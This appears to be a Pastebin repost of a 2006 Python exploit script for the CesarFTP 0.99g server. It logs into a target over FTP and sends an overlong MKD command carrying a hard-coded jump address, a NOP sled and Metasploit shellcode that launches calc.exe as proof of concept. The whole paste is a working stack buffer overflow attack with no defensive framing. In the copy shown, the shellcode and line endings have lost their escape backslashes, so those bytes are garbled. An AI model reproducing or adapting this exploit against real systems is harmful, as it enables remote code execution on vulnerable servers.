Advertisement
Guest User

Untitled

a guest
Mar 3rd, 2019
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.56 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. #CesarFtp 0.99g 0day Exploit
  4.  
  5. #Proof of Concept: execute calc.exe
  6.  
  7. #Tested on XP sp2 polish
  8.  
  9. #Bug found by h07 [h07@interia.pl]
  10.  
  11. #Date: 10.06.2006
  12.  
  13.  
  14.  
  15. from socket import *
  16.  
  17.  
  18.  
  19. shellcode = ( #execute calc.exe <metasploit.com>
  20.  
  21. "x31xc9x83xe9xdbxd9xeexd9x74x24xf4x5bx81x73x13xd8"
  22.  
  23. "x22x72xe4x83xebxfcxe2xf4x24xcax34xe4xd8x22xf9xa1"
  24.  
  25. "xe4xa9x0exe1xa0x23x9dx6fx97x3axf9xbbxf8x23x99x07"
  26.  
  27. "xf6x6bxf9xd0x53x23x9cxd5x18xbbxdex60x18x56x75x25"
  28.  
  29. "x12x2fx73x26x33xd6x49xb0xfcx26x07x07x53x7dx56xe5"
  30.  
  31. "x33x44xf9xe8x93xa9x2dxf8xd9xc9xf9xf8x53x23x99x6d"
  32.  
  33. "x84x06x76x27xe9xe2x16x6fx98x12xf7x24xa0x2dxf9xa4"
  34.  
  35. "xd4xa9x02xf8x75xa9x1axecx31x29x72xe4xd8xa9x32xd0"
  36.  
  37. "xddx5ex72xe4xd8xa9x1axd8x87x13x84x84x8exc9x7fx8c"
  38.  
  39. "x28xa8x76xbbxb0xbax8cx6exd6x75x8dx03x30xccx8dx1b"
  40.  
  41. "x27x41x13x88xbbx0cx17x9cxbdx22x72xe4")
  42.  
  43.  
  44.  
  45. def intel_order(i):
  46.  
  47. a = chr(i % 256)
  48.  
  49. i = i >> 8
  50.  
  51. b = chr(i % 256)
  52.  
  53. i = i >> 8
  54.  
  55. c = chr(i % 256)
  56.  
  57. i = i >> 8
  58.  
  59. d = chr(i % 256)
  60.  
  61. str = "%c%c%c%c" % (a, b, c, d)
  62.  
  63. return str
  64.  
  65.  
  66.  
  67. host = "192.168.0.1"
  68.  
  69. port = 21
  70.  
  71. user = "ftp"
  72.  
  73. password = "ftp"
  74.  
  75. EIP = 0x773D10A4 #jmp esp <shell32.dll XP professional sp2 english>
  76.  
  77.  
  78.  
  79. s = socket(AF_INET, SOCK_STREAM)
  80.  
  81. s.connect((host, port))
  82.  
  83. print s.recv(1024)
  84.  
  85.  
  86.  
  87. s.send("user %srn" % (user))
  88.  
  89. print s.recv(1024)
  90.  
  91.  
  92.  
  93. s.send("pass %srn" % (password))
  94.  
  95. print s.recv(1024)
  96.  
  97.  
  98.  
  99. buffer = "MKD "
  100.  
  101. buffer += "n" * 671
  102.  
  103. buffer += "A" * 3 + intel_order(EIP)
  104.  
  105. buffer += "x90" * 40 + shellcode
  106.  
  107. buffer += "rn"
  108.  
  109.  
  110.  
  111. print "len: %d" % (len(buffer))
  112.  
  113.  
  114.  
  115. s.send(buffer)
  116.  
  117. print s.recv(1024)
  118.  
  119.  
  120.  
  121. s.close()
  122.  
  123.  
  124.  
  125. #EoF
  126.  
  127.  
  128.  
  129. # milw0rm.com [2006-06-12]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement